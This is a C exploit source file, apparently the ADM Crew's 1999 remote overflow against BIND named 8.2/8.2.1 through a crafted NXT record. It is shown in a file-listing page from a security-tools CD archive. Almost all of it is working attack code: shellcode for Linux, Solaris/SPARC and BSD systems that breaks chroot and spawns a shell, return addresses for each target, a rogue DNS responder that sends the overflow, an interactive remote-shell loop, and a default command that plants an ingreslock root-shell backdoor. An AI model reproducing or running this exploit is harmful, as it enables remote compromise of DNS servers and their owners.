home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / dns / bind / t666.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  20KB  |  535 lines
  1. /*
  2.  * ADM CONFIDENTIAL -- (ADM Confidential Restricted when
  3.  * combined with the aggregated modules for this product)
  4.  * OBJECT CODE ONLY SOURCE MATERIALS
  5.  * (C) COPYRIGHT ADM Crew. 1999
  6.  * All Rights Reserved
  7.  *
  8.  * This module may not be used, published, distributed or archived without 
  9.  * the written permission of the ADM Crew. Please contact your local sales 
  10.  * representative.
  11.  *
  12.  * ADM named 8.2/8.2.1 NXT remote overflow - horizon/plaguez 
  13.  *
  14.  * "a misanthropic anthropoid with nothing to say"
  15.  *
  16.  * thanks to stran9er for sdnsofw.c
  17.  *
  18.  * Intel exploitation is pretty straightforward.. should give you a remote
  19.  * shell. The shellcode will break chroot, do a getpeername on all open 
  20.  * sockets, and dup to the first one that returns AFINET. It also forks and
  21.  * runs a command in case the fd duping doesn't go well.  Solaris/SPARC is a 
  22.  * bit more complicated.. we are going through a well trodden part of the 
  23.  * code, so we don't get the context switch we need to have it populate the 
  24.  * register windows from the stack. However, if you just hammer the service 
  25.  * with requests, you will quickly get a context switch at the right time. 
  26.  * Thus, the SPARC shellcode currently only breaks chroot, closes current 
  27.  * fd's and runs a command.
  28.  * Also, the NetBSD shellcode doesn't break chroot because they stop the
  29.  * dir tricks. Of course, they allow mknods in chrooted environments, so 
  30.  * if named is running as root, then it still might be expoitable.
  31.  * The non-exec stack patch version returns into a malloc'ed buffer, whose 
  32.  * address can vary quite alot. Thus, it may not be as reliable as the other 
  33.  * versions..
  34.  *
  35.  */
  36.  
  37. #include <stdio.h>
  38. #include <unistd.h>
  39. #include <stdlib.h>
  40. #include <signal.h>
  41. #include <time.h>
  42. #include <string.h>
  43. #include <ctype.h>
  44. #include <sys/types.h>
  45. #include <sys/socket.h>
  46. #include <netinet/in.h>
  47. #include <arpa/inet.h>
  48. #include <arpa/nameser.h>
  49. #include <netdb.h>
  50.  
  51. char linuxcode[]=
  52.   {0xe9,0xac,0x1,0x0,0x0,0x5e,0x89,0x76,0xc,0x8d,0x46,0x8,0x89,0x46,0x10,0x8d,
  53.    0x46,0x2e,0x89,0x46,0x14,0x56,0xeb,0x54,0x5e,0x89,0xf3,0xb9,0x0,0x0,0x0,0x0,
  54.    0xba,0x0,0x0,0x0,0x0,0xb8,0x5,0x0,0x0,0x0,0xcd,0x80,0x50,0x8d,0x5e,0x2,0xb9,
  55.    0xff,0x1,0x0,0x0,0xb8,0x27,0x0,0x0,0x0,0xcd,0x80,0x8d,0x5e,0x2,0xb8,0x3d,0x0,
  56.    0x0,0x0,0xcd,0x80,0x5b,0x53,0xb8,0x85,0x0,0x0,0x0,0xcd,0x80,0x5b,0xb8,0x6,
  57.    0x0,0x0,0x0,0xcd,0x80,0x8d,0x5e,0xb,0xb8,0xc,0x0,0x0,0x0,0xcd,0x80,0x89,0xf3,
  58.    0xb8,0x3d,0x0,0x0,0x0,0xcd,0x80,0xeb,0x2c,0xe8,0xa7,0xff,0xff,0xff,0x2e,0x0,
  59.    0x41,0x44,0x4d,0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
  60.    0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
  61.    0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x0,0x5e,0xb8,0x2,0x0,0x0,0x0,0xcd,0x80,0x89,
  62.    0xc0,0x85,0xc0,0xf,0x85,0x8e,0x0,0x0,0x0,0x89,0xf3,0x8d,0x4e,0xc,0x8d,0x56,
  63.    0x18,0xb8,0xb,0x0,0x0,0x0,0xcd,0x80,0xb8,0x1,0x0,0x0,0x0,0xcd,0x80,0xe8,0x75,
  64.    0x0,0x0,0x0,0x10,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x74,0x68,0x69,0x73,0x69,0x73,
  65.    0x73,0x6f,0x6d,0x65,0x74,0x65,0x6d,0x70,0x73,0x70,0x61,0x63,0x65,0x66,0x6f,
  66.    0x72,0x74,0x68,0x65,0x73,0x6f,0x63,0x6b,0x69,0x6e,0x61,0x64,0x64,0x72,0x69,
  67.    0x6e,0x79,0x65,0x61,0x68,0x79,0x65,0x61,0x68,0x69,0x6b,0x6e,0x6f,0x77,0x74,
  68.    0x68,0x69,0x73,0x69,0x73,0x6c,0x61,0x6d,0x65,0x62,0x75,0x74,0x61,0x6e,0x79,
  69.    0x77,0x61,0x79,0x77,0x68,0x6f,0x63,0x61,0x72,0x65,0x73,0x68,0x6f,0x72,0x69,
  70.    0x7a,0x6f,0x6e,0x67,0x6f,0x74,0x69,0x74,0x77,0x6f,0x72,0x6b,0x69,0x6e,0x67,
  71.    0x73,0x6f,0x61,0x6c,0x6c,0x69,0x73,0x63,0x6f,0x6f,0x6c,0xeb,0x86,0x5e,0x56,
  72.    0x8d,0x46,0x8,0x50,0x8b,0x46,0x4,0x50,0xff,0x46,0x4,0x89,0xe1,0xbb,0x7,0x0,
  73.    0x0,0x0,0xb8,0x66,0x0,0x0,0x0,0xcd,0x80,0x83,0xc4,0xc,0x89,0xc0,0x85,0xc0,
  74.    0x75,0xda,0x66,0x83,0x7e,0x8,0x2,0x75,0xd3,0x8b,0x56,0x4,0x4a,0x52,0x89,0xd3,
  75.    0xb9,0x0,0x0,0x0,0x0,0xb8,0x3f,0x0,0x0,0x0,0xcd,0x80,0x5a,0x52,0x89,0xd3,
  76.    0xb9,0x1,0x0,0x0,0x0,0xb8,0x3f,0x0,0x0,0x0,0xcd,0x80,0x5a,0x52,0x89,0xd3,
  77.    0xb9,0x2,0x0,0x0,0x0,0xb8,0x3f,0x0,0x0,0x0,0xcd,0x80,0xeb,0x12,0x5e,0x46,
  78.    0x46,0x46,0x46,0x46,0xc7,0x46,0x10,0x0,0x0,0x0,0x0,0xe9,0xfe,0xfe,0xff,0xff,
  79.    0xe8,0xe9,0xff,0xff,0xff,0xe8,0x4f,0xfe,0xff,0xff,0x2f,0x62,0x69,0x6e,0x2f,
  80.    0x73,0x68,0x0,0x2d,0x63,0x0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
  81.    0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,0x70,0x6c,0x61,0x67,0x75,0x65,0x7a,0x5b,
  82.    0x41,0x44,0x4d,0x5d,0x31,0x30,0x2f,0x39,0x39,0x2d};
  83.  
  84. char sc[]=
  85.   {0x40,0x0,0x0,0x2e,0x1,0x0,0x0,0x0,0x90,0x3,0xe0,0xd5,0x92,0x10,0x20,0x0,
  86.    0x82,0x10,0x20,0x5,0x91,0xd0,0x20,0x0,0xa0,0x10,0x0,0x8,0x90,0x3,0xe0,0xcc,
  87.    0x92,0x10,0x21,0xff,0x82,0x10,0x20,0x50,0x91,0xd0,0x20,0x0,0x90,0x3,0xe0,
  88.    0xcc,0x82,0x10,0x20,0x3d,0x91,0xd0,0x20,0x0,0x90,0x10,0x0,0x10,0x82,0x10,
  89.    0x20,0x78,0x91,0xd0,0x20,0x0,0x90,0x10,0x0,0x10,0x82,0x10,0x20,0x6,0x91,0xd0,
  90.    0x20,0x0,0x90,0x3,0xe0,0xd7,0x82,0x10,0x20,0xc,0x91,0xd0,0x20,0x0,0x90,0x3,
  91.    0xe0,0xd5,0x82,0x10,0x20,0x3d,0x91,0xd0,0x20,0x0,0xa0,0x10,0x20,0x0,0x90,
  92.    0x10,0x0,0x10,0x82,0x10,0x20,0x6,0x91,0xd0,0x20,0x0,0xa0,0x4,0x20,0x1,0x80,
  93.    0xa4,0x20,0x1e,0x4,0xbf,0xff,0xfb,0x1,0x0,0x0,0x0,0x90,0x3,0xe0,0xc0,0xa0,
  94.    0x3,0xe0,0xc5,0xe0,0x23,0xbf,0xf0,0xa0,0x3,0xe0,0xc9,0xe0,0x23,0xbf,0xf4,
  95.    0xa0,0x3,0xe1,0x5,0xe0,0x23,0xbf,0xf8,0xc0,0x23,0xbf,0xfc,0x92,0x3,0xbf,0xf0,
  96.    0x94,0x3,0xbf,0xfc,0x82,0x10,0x20,0x3b,0x91,0xd0,0x20,0x0,0x81,0xc3,0xe0,0x8,
  97.    0x1,0x0,0x0,0x0,0x2f,0x62,0x69,0x6e,0x2f,0x6b,0x73,0x68,0x0,0x2d,0x63,0x0,
  98.    0x41,0x44,0x4d,0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x0,0x2e,0x2e,0x2f,0x2e,
  99.    0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,
  100.    0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x0,0x68,0x6f,0x72,0x69,0x7a,0x6f,
  101.    0x6e,0x5b,0x41,0x44,0x4d,0x5d,0x31,0x30,0x2f,0x39,0x39,0x0};
  102.  
  103. char bsdcode[]=
  104.   {0xe9,0xd4,0x1,0x0,0x0,0x5e,0x31,0xc0,0x50,0x50,0xb0,0x17,0xcd,0x80,0x31,0xc0,
  105.    0x50,0x50,0x56,0x50,0xb0,0x5,0xcd,0x80,0x89,0x46,0x28,0xb9,0xff,0x1,0x0,0x0,
  106.    0x51,0x8d,0x46,0x2,0x50,0x50,0xb8,0x88,0x0,0x0,0x0,0xcd,0x80,0x8d,0x46,0x2,
  107.    0x50,0x50,0xb8,0x3d,0x0,0x0,0x0,0xcd,0x80,0x8b,0x46,0x28,0x50,0x50,0xb8,0xa7,
  108.    0x0,0x0,0x0,0x34,0xaa,0xcd,0x80,0x8d,0x46,0xb,0x50,0x50,0xb8,0xa6,0x0,0x0,
  109.    0x0,0x34,0xaa,0xcd,0x80,0x8d,0x46,0x21,0x48,0x50,0x50,0xb8,0x3d,0x0,0x0,0x0,
  110.    0xcd,0x80,0x50,0xb8,0x2,0x0,0x0,0x0,0xcd,0x80,0x85,0xc0,0xf,0x85,0xe6,0x0,
  111.    0x0,0x0,0x8d,0x56,0x38,0x89,0x56,0x28,0x8d,0x46,0x40,0x89,0x46,0x2c,0x8d,
  112.    0x46,0x43,0x89,0x46,0x30,0x8d,0x46,0x30,0x50,0x8d,0x46,0x28,0x50,0x52,0x50,
  113.    0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0x50,0x50,0xb8,0x1,0x0,0x0,0x0,0xcd,0x80,
  114.    0xe8,0xbc,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x62,0x6c,0x61,0x68,
  115.    0x62,0x6c,0x61,0x68,0x73,0x61,0x6d,0x65,0x74,0x68,0x69,0x6e,0x67,0x79,0x65,
  116.    0x74,0x61,0x6e,0x6f,0x74,0x68,0x65,0x72,0x73,0x70,0x61,0x63,0x65,0x66,0x6f,
  117.    0x72,0x61,0x73,0x6f,0x63,0x6b,0x61,0x64,0x64,0x72,0x73,0x74,0x72,0x75,0x63,
  118.    0x74,0x75,0x72,0x65,0x62,0x75,0x74,0x74,0x68,0x69,0x73,0x74,0x69,0x6d,0x65,
  119.    0x66,0x6f,0x72,0x74,0x68,0x65,0x62,0x73,0x64,0x73,0x68,0x65,0x6c,0x6c,0x63,
  120.    0x6f,0x64,0x65,0x66,0x6f,0x72,0x74,0x75,0x6e,0x61,0x74,0x6c,0x79,0x74,0x68,
  121.    0x69,0x73,0x77,0x69,0x6c,0x6c,0x77,0x6f,0x72,0x6b,0x69,0x68,0x6f,0x70,0x65,
  122.    0x6f,0x6b,0x69,0x74,0x68,0x69,0x6e,0x6b,0x65,0x6e,0x6f,0x75,0x67,0x68,0x73,
  123.    0x70,0x61,0x63,0x65,0x6e,0x6f,0x77,0x0,0x70,0x6c,0x61,0x67,0x75,0x65,0x7a,
  124.    0x5b,0x41,0x44,0x4d,0x5d,0x20,0x42,0x53,0x44,0x20,0x63,0x72,0x61,0x70,0x70,
  125.    0x79,0x20,0x73,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,0x65,0x20,0x2d,0x20,0x31,
  126.    0x30,0x2f,0x39,0x39,0x31,0xd2,0xe9,0x3f,0xff,0xff,0xff,0x8d,0x46,0x4,0x50,
  127.    0x8d,0x46,0x8,0x50,0x52,0x52,0xb8,0x1f,0x0,0x0,0x0,0xcd,0x80,0x5a,0x83,0xf8,
  128.    0x0,0x75,0x6,0x80,0x7e,0x9,0x2,0x74,0xc,0x52,0x52,0xb8,0x6,0x0,0x0,0x0,0xcd,
  129.    0x80,0x42,0xeb,0xd7,0x6a,0x0,0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0x6a,
  130.    0x1,0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0x6a,0x2,0x52,0x52,0xb8,0x5a,
  131.    0x0,0x0,0x0,0xcd,0x80,0xeb,0x29,0x5e,0x46,0x46,0x46,0x46,0x46,0x8d,0x56,0x38,
  132.    0x89,0x56,0x28,0xc7,0x46,0x2c,0x0,0x0,0x0,0x0,0x8d,0x46,0x34,0x50,0x8d,0x46,
  133.    0x28,0x50,0x52,0x52,0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0xe9,0xc1,0xfe,0xff,0xff,
  134.    0xe8,0xd2,0xff,0xff,0xff,0xe8,0x27,0xfe,0xff,0xff,0x2e,0x0,0x41,0x44,0x4d,
  135.    0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
  136.    0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
  137.    0x0,0x2e,0x2f,0x0,0x0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
  138.    0xff,0x0,0x0,0x0,0x0,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x0,0x2d,0x63,0x0,
  139.    0x74,0x6f,0x75,0x63,0x68,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x59,0x4f,0x59,0x4f,
  140.    0x59,0x4f,0x0};
  141.  
  142. char bsdnochroot[]=
  143.   {0xe9,0x79,0x1,0x0,0x0,0x5e,0x50,0xb8,0x2,0x0,0x0,0x0,0xcd,0x80,0x85,0xc0,0xf,
  144.    0x85,0xe6,0x0,0x0,0x0,0x8d,0x56,0x38,0x89,0x56,0x28,0x8d,0x46,0x40,0x89,0x46,
  145.    0x2c,0x8d,0x46,0x43,0x89,0x46,0x30,0x8d,0x46,0x30,0x50,0x8d,0x46,0x28,0x50,
  146.    0x52,0x50,0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0x50,0x50,0xb8,0x1,0x0,0x0,0x0,
  147.    0xcd,0x80,0xe8,0xbc,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0x0,0x0,0x0,0x62,0x6c,
  148.    0x61,0x68,0x62,0x6c,0x61,0x68,0x73,0x61,0x6d,0x65,0x74,0x68,0x69,0x6e,0x67,
  149.    0x79,0x65,0x74,0x61,0x6e,0x6f,0x74,0x68,0x65,0x72,0x73,0x70,0x61,0x63,0x65,
  150.    0x66,0x6f,0x72,0x61,0x73,0x6f,0x63,0x6b,0x61,0x64,0x64,0x72,0x73,0x74,0x72,
  151.    0x75,0x63,0x74,0x75,0x72,0x65,0x62,0x75,0x74,0x74,0x68,0x69,0x73,0x74,0x69,
  152.    0x6d,0x65,0x66,0x6f,0x72,0x74,0x68,0x65,0x62,0x73,0x64,0x73,0x68,0x65,0x6c,
  153.    0x6c,0x63,0x6f,0x64,0x65,0x66,0x6f,0x72,0x74,0x75,0x6e,0x61,0x74,0x6c,0x79,
  154.    0x74,0x68,0x69,0x73,0x77,0x69,0x6c,0x6c,0x77,0x6f,0x72,0x6b,0x69,0x68,0x6f,
  155.    0x70,0x65,0x6f,0x6b,0x69,0x74,0x68,0x69,0x6e,0x6b,0x65,0x6e,0x6f,0x75,0x67,
  156.    0x68,0x73,0x70,0x61,0x63,0x65,0x6e,0x6f,0x77,0x0,0x70,0x6c,0x61,0x67,0x75,
  157.    0x65,0x7a,0x5b,0x41,0x44,0x4d,0x5d,0x20,0x42,0x53,0x44,0x20,0x63,0x72,0x61,
  158.    0x70,0x70,0x79,0x20,0x73,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,0x65,0x20,0x2d,
  159.    0x20,0x31,0x30,0x2f,0x39,0x39,0x31,0xd2,0xe9,0x3f,0xff,0xff,0xff,0x5e,0x8d,
  160.    0x46,0x4,0x50,0x8d,0x46,0x8,0x50,0x52,0x52,0xb8,0x1f,0x0,0x0,0x0,0xcd,0x80,
  161.    0x5a,0x83,0xf8,0x0,0x75,0x6,0x80,0x7e,0x9,0x2,0x74,0xc,0x52,0x52,0xb8,0x6,
  162.    0x0,0x0,0x0,0xcd,0x80,0x42,0xeb,0xd7,0x6a,0x0,0x52,0x52,0xb8,0x5a,0x0,0x0,
  163.    0x0,0xcd,0x80,0x6a,0x1,0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0x6a,0x2,
  164.    0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0xeb,0x29,0x5e,0x46,0x46,0x46,0x46,
  165.    0x46,0x8d,0x56,0x38,0x89,0x56,0x28,0xc7,0x46,0x2c,0x0,0x0,0x0,0x0,0x8d,0x46,
  166.    0x34,0x50,0x8d,0x46,0x28,0x50,0x52,0x52,0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0xe9,
  167.    0xc0,0xfe,0xff,0xff,0xe8,0xd2,0xff,0xff,0xff,0xe8,0x82,0xfe,0xff,0xff,0x2e,
  168.    0x0,0x41,0x44,0x4d,0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x2e,0x2f,0x2e,0x2e,
  169.    0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,
  170.    0x2f,0x2e,0x2e,0x2f,0x0,0x2e,0x2f,0x0,0x0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
  171.    0xff,0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,
  172.    0x0,0x2d,0x63,0x0,0x74,0x6f,0x75,0x63,0x68,0x20,0x2f,0x74,0x6d,0x70,0x2f,
  173.    0x59,0x4f,0x59,0x4f,0x59,0x4f,0x0};
  174.  
  175. struct arch
  176.   {
  177.     int id;
  178.     char *name;
  179.     char *code;
  180.     int codesize;
  181.     unsigned long safe;
  182.     unsigned long ret;
  183.     int length;
  184.   };
  185.  
  186. struct arch archlist[] =
  187.     {
  188.       {1, "Linux Redhat 6.x    - named 8.2/8.2.1 (from rpm)", linuxcode, sizeof(linuxcode), 0, 0xbfffd6c3, 6500},
  189.       {2, "Linux SolarDiz's non-exec stack patch - named 8.2/8.2.1",linuxcode, sizeof(linuxcode), 0, 0x80f79ae, 6500},
  190.       {3, "Solaris 7 (0xff)    - named 8.2.1", sc, sizeof(sc), 0xffbea738, 0xffbedbd0, 11000},
  191.       {4, "Solaris 2.6         - named 8.2.1", sc, sizeof(sc), 0xefffa000, 0xefffe5d0, 11000},
  192.       {5, "FreeBSD 3.2-RELEASE - named 8.2", bsdcode, sizeof(bsdcode), 1, 0xbfbfbdb8, 7000},
  193.       {6, "OpenBSD 2.5         - named 8.2", bsdcode, sizeof(bsdcode), 1, 0xefbfbb00, 7000},
  194.       {7, "NetBSD 1.4.1        - named 8.2.1", bsdnochroot, sizeof(bsdnochroot), 1, 0xefbfbb00, 7000},
  195.       {0, 0, 0, 0}
  196.     };
  197.  
  198. int arch=0;
  199. char *command=0;
  200.  
  201. /* these two dns routines from dspoof/jizz */
  202.  
  203. /* pull out a compressed query name */
  204. char *dnssprintflabel(char *s, char *buf, char *p)
  205. {
  206.   unsigned short i,len;
  207.   char *b=NULL;
  208.  
  209.   len=(unsigned short)*(p++);
  210.   while (len)
  211.     {
  212.       while (len >= 0xC0)
  213.         {
  214.           if (!b)
  215.             b=p+1;
  216.           p=buf+(ntohs(*((unsigned short *)(p-1))) & ~0xC000);
  217.           len=(unsigned short)*(p++);
  218.         }
  219.  
  220.       for (i=0;i<len;i++)
  221.         *(s++)=*(p++);
  222.  
  223.       *(s++)='.';
  224.  
  225.       len=(unsigned short)*(p++);
  226.     }
  227.  
  228.   *(s++)=0;
  229.   if (b)
  230.     return(b);
  231.  
  232.   return(p);
  233. }
  234.  
  235. /* store a query name */
  236. char *dnsaddlabel(char *p, char *label)
  237. {
  238.   char *p1;
  239.  
  240.   while ((*label) && (label))
  241.     {
  242.       if ((*label == '.') && (!*(label+1)))
  243.         break;
  244.  
  245.       p1=strchr(label,'.');
  246.  
  247.       if (!p1)
  248.         p1=strchr(label,0);
  249.  
  250.       *(p++)=p1-label;
  251.       memcpy(p,label,p1-label);
  252.       p+=p1-label;
  253.  
  254.       label=p1;
  255.       if (*p1)
  256.         label++;
  257.     }
  258.   *(p++)=0;
  259.  
  260.   return(p);
  261. }
  262.  
  263. void make_overflow(char *a)
  264. {
  265.   int i;
  266.   unsigned long *b;
  267.   unsigned char *c;
  268.   char sbuf[4096];
  269.  
  270.   if (archlist[arch].safe==0) /* linux */
  271.     {
  272.       memset(a,0x90,4134);
  273.       memcpy(a+3500,archlist[arch].code,archlist[arch].codesize);
  274.  
  275.       if (command)
  276.         strcpy(a+3500+archlist[arch].codesize, command);
  277.       else
  278.         strcpy(a+3500+archlist[arch].codesize, "exit");
  279.  
  280.       b=(unsigned long*)(a+4134);
  281.       for (i=0;i<20;i++)
  282.         *b++=archlist[arch].ret;
  283.     }
  284.   else if (archlist[arch].safe==1) /* bsd */
  285.     {
  286.       memset(a,0x90,4134);
  287.       memcpy(a+3300,archlist[arch].code,archlist[arch].codesize);
  288.  
  289.       if (command)
  290.         strcpy(a+3300+archlist[arch].codesize, command);
  291.       else
  292.         strcpy(a+3300+archlist[arch].codesize, "exit");
  293.  
  294.       b=(unsigned long*)(a+4134);
  295.       for (i=0;i<20;i++)
  296.         *b++=archlist[arch].ret;
  297.     }
  298.   else /*SPARC*/
  299.     {
  300.       memset(a,0x0,11000);
  301.  
  302.       b=(unsigned long*)(a+4438);
  303.  
  304.       for (i=0;i<1500;i++)
  305.         *b++=htonl(0xac15a16e);
  306.  
  307.       c=(char *)b;
  308.  
  309.       for (i=0;i<archlist[arch].codesize;i++)
  310.         *c++=archlist[arch].code[i];
  311.       if (command)
  312.         strcpy(c, command);
  313.       else
  314.         strcpy(c, "echo \"ingreslock stream tcp nowait root /bin/sh sh -i\" \
  315.                >>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob;/bin/rm -f /tmp/bob ");
  316.  
  317.       b=(unsigned long*)(a+4166);
  318.  
  319.       *b++=htonl(0xdeadbeef);
  320.       *b++=htonl(0xdeadbeef);
  321.       *b++=htonl(archlist[arch].safe);       //i2 - significant
  322.       *b++=htonl(0xdeadbeef);
  323.       *b++=htonl(0xdeadbeef);
  324.       *b++=htonl(archlist[arch].safe);       //i5 - significant
  325.       *b++=htonl(0xdeadbeef);
  326.       *b++=htonl(0xdeadbeef);
  327.  
  328.       *b++=htonl(archlist[arch].safe);       //o0 - significant
  329.       *b++=htonl(0xdeadbeef);
  330.       *b++=htonl(archlist[arch].safe);       //o2 - significant
  331.       *b++=htonl(0xdeadbeef);
  332.       *b++=htonl(0xdeadbeef);
  333.       *b++=htonl(0xdeadbeef);
  334.       *b++=htonl(archlist[arch].safe);       //o6 - significant
  335.       *b++=htonl(archlist[arch].ret);        //o7 - retaddr
  336.     }
  337.  
  338. }
  339.  
  340. int form_response(HEADER *packet, char *buf)
  341. {
  342.   char query[512];
  343.   int qtype;
  344.   HEADER *dnsh;
  345.   char *p;
  346.   char *walker;
  347.  
  348.   memset(buf,0,sizeof(buf));
  349.  
  350.   dnsh = (HEADER *) buf;
  351.   dnsh->id = packet->id;
  352.   dnsh->qr=1;
  353.   dnsh->aa=1;
  354.   dnsh->qdcount = htons(1);
  355.   dnsh->ancount = htons(1);
  356.   dnsh->arcount = htons(1);
  357.   dnsh->rcode = 0;
  358.  
  359.   walker=(char*)(dnsh+1);
  360.  
  361.   p=dnssprintflabel(query, (char *)packet, (char*)(packet+1));
  362.   query[strlen(query) - 1] = 0;
  363.  
  364.   qtype=*((unsigned short *)p);
  365.  
  366.   printf("%s type=%d\n",query, ntohs(qtype));
  367.  
  368.   /* first, the query */
  369.  
  370.   walker=dnsaddlabel(walker, query);
  371.   PUTSHORT(ntohs(qtype), walker);
  372.   //PUTSHORT(htons(T_PTR), walker);
  373.   PUTSHORT(1,walker);
  374.  
  375.   /* then, our answer */
  376.   /* query IN A 1.2.3.4 */
  377.  
  378.   walker=dnsaddlabel(walker, query);
  379.   PUTSHORT(T_A, walker);
  380.   PUTSHORT(1, walker);
  381.   PUTLONG(60*5, walker);
  382.   PUTSHORT(4, walker);
  383.   sprintf(walker,"%c%c%c%c",1,2,3,4);
  384.   walker+=4;
  385.  
  386.   /* finally, we make named do something more interesting */
  387.  
  388.   walker=dnsaddlabel(walker, query);
  389.   PUTSHORT(T_NXT, walker);
  390.   PUTSHORT(1, walker);
  391.   PUTLONG(60*5, walker);
  392.  
  393.   /* the length of one label and our arbitrary data */
  394.  
  395.   PUTSHORT(archlist[arch].length+7, walker);
  396.  
  397.   PUTSHORT(6, walker);
  398.   sprintf(walker,"admadm");
  399.   walker+=6;
  400.   PUTSHORT(0, walker);
  401.  
  402.   make_overflow(walker);
  403.   walker+=archlist[arch].length;
  404.   PUTSHORT(0, walker);
  405.   return walker-buf;
  406. }
  407.  
  408. #define max(x,y) ((x)>(y)?(x):(y))
  409.  
  410. int proxyloop(int s)
  411. {
  412.   char snd[1024], rcv[1024];
  413.   fd_set rset;
  414.   int maxfd, n;
  415.  
  416.   sleep(1);
  417.   printf("Entering proxyloop..\n");
  418.   strcpy(snd, "cd /; uname -a; pwd; id;\n");
  419.   write(s, snd, strlen(snd));
  420.  
  421.   for (;;)
  422.     {
  423.       FD_SET(fileno(stdin), &rset);
  424.       FD_SET(s, &rset);
  425.       maxfd = max(fileno(stdin), s) + 1;
  426.       select(maxfd, &rset, NULL, NULL, NULL);
  427.       if (FD_ISSET(fileno(stdin), &rset))
  428.         {
  429.           bzero(snd, sizeof(snd));
  430.           fgets(snd, sizeof(snd) - 2, stdin);
  431.           write(s, snd, strlen(snd));
  432.         }
  433.       if (FD_ISSET(s, &rset))
  434.         {
  435.           bzero(rcv, sizeof(rcv));
  436.           if ((n = read(s, rcv, sizeof(rcv))) == 0)
  437.             exit(0);
  438.           if (n < 0)
  439.             {
  440.               return -3;
  441.             }
  442.           fputs(rcv, stdout);
  443.         }
  444.     }
  445.   return 0;
  446. }
  447.  
  448. int main(int argc, char **argv)
  449. {
  450.   int s, fromlen, res, sl, s2;
  451.   struct sockaddr_in sa, from, to;
  452.   char buf[16384];
  453.   char sendbuf[16384];
  454.   unsigned short ts;
  455.   int i;
  456.  
  457.   if (argc<2)
  458.     {
  459.       fprintf(stderr,"Usage: %s architecture [command]\n", argv[0]);
  460.       fprintf(stderr,"Available architectures:\n");
  461.       i=-1;
  462.       while(archlist[++i].id)
  463.         fprintf(stderr,"  %d: %s\n",archlist[i].id,archlist[i].name);
  464.       exit(1);
  465.     }
  466.  
  467.   arch=atoi(argv[1])-1;
  468.  
  469.   if (argc==3)
  470.     command=argv[2];
  471.  
  472.   if ((s=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))==-1)
  473.     {
  474.       perror("socket");
  475.       exit(1);
  476.     }
  477.  
  478.   bzero(&sa, sizeof sa);
  479.  
  480.   sa.sin_family=AF_INET;
  481.   sa.sin_addr.s_addr=INADDR_ANY;
  482.   sa.sin_port=htons(53);
  483.  
  484.   if (bind(s, (struct sockaddr *)&sa, sizeof(sa))==-1)
  485.     {
  486.       perror("bind");
  487.       exit(1);
  488.     }
  489.  
  490.   do
  491.     {
  492.       fromlen=sizeof(from);
  493.       if ((res=recvfrom(s, buf, sizeof buf, 0, (struct sockaddr *)&from,
  494.                         &fromlen)) == -1)
  495.         {
  496.           perror("recvfrom");
  497.           exit(1);
  498.         }
  499.  
  500.       printf("Received request from %s:%d for ", inet_ntoa(from.sin_addr),
  501.              ntohs(from.sin_port));
  502.  
  503.       sl=form_response((HEADER *)buf,sendbuf);
  504.  
  505.       /* now lets connect to the nameserver */
  506.  
  507.       bzero(&to, sizeof(to));
  508.       to.sin_family=AF_INET;
  509.       to.sin_addr=from.sin_addr;
  510.       to.sin_port=htons(53);
  511.  
  512.       if ((s2=socket(AF_INET, SOCK_STREAM, 0))==-1)
  513.         {
  514.           perror("socket");
  515.           exit(1);
  516.         }
  517.  
  518.       if (connect(s2, (struct sockaddr *)&to, sizeof to)==-1)
  519.         {
  520.           perror("connect");
  521.           exit(1);
  522.         }
  523.  
  524.       ts=htons(sl);
  525.       write(s2,&ts,2);
  526.  
  527.       write(s2,sendbuf,sl);
  528.       if (archlist[arch].safe>1)
  529.         close(s2);
  530.     }
  531.   while (archlist[arch].safe>1); /* infinite loop for sparc */
  532.   proxyloop(s2);
  533.   exit(1);
  534. }
  535. /*                    www.hack.co.za              [2000]*/